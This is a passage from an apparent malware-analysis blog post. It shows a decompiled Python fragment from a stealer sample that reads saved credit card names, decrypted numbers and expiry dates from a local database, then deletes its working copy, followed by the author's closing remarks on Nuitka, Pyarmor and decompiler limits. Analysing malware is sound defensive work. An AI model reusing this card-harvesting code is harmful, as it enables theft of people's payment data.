expire_mon = r[2]
expire_year = r[3]
window['Saved_CCs'].print('Name in Card: ' + username + '\nNumber: ' + decrypted_password + '\nExpire Month: ' + str(expire_mon) + '\nExpire Year: ' + str(expire_year) + '\n' + '**********' + '\n')
except:
pass
cursor.close()
conn.close()
try:
os.remove('CCvault.db')
except:
pass

From reading the decompiled code, it becomes clear that the sample is a stealer malware. 


Final points:

  • The blog doesn't mention the project: Nuikta which is source-to-source compiler that compiles python source code to C. It also has a commercial offering that claims to be effective against reverse engineering. Perhaps, in a future blog , executables created using this project will be examined.
  • Similar, Pyarmor is a project that is used for creating obfuscated python scripts which will be examined in a future blog. 
  • Currently, decompilation tools for python bytecodes are not fully mature. Deducing the nature and functionality of the sample from disassembled bytecode is the best option. 

Have a good day! 

Comments

Popular posts from this blog

Loading GootLoader

AUDI SQLi Labs Lesson 1 walkthrough

Kioptrix Level 1 walkthrough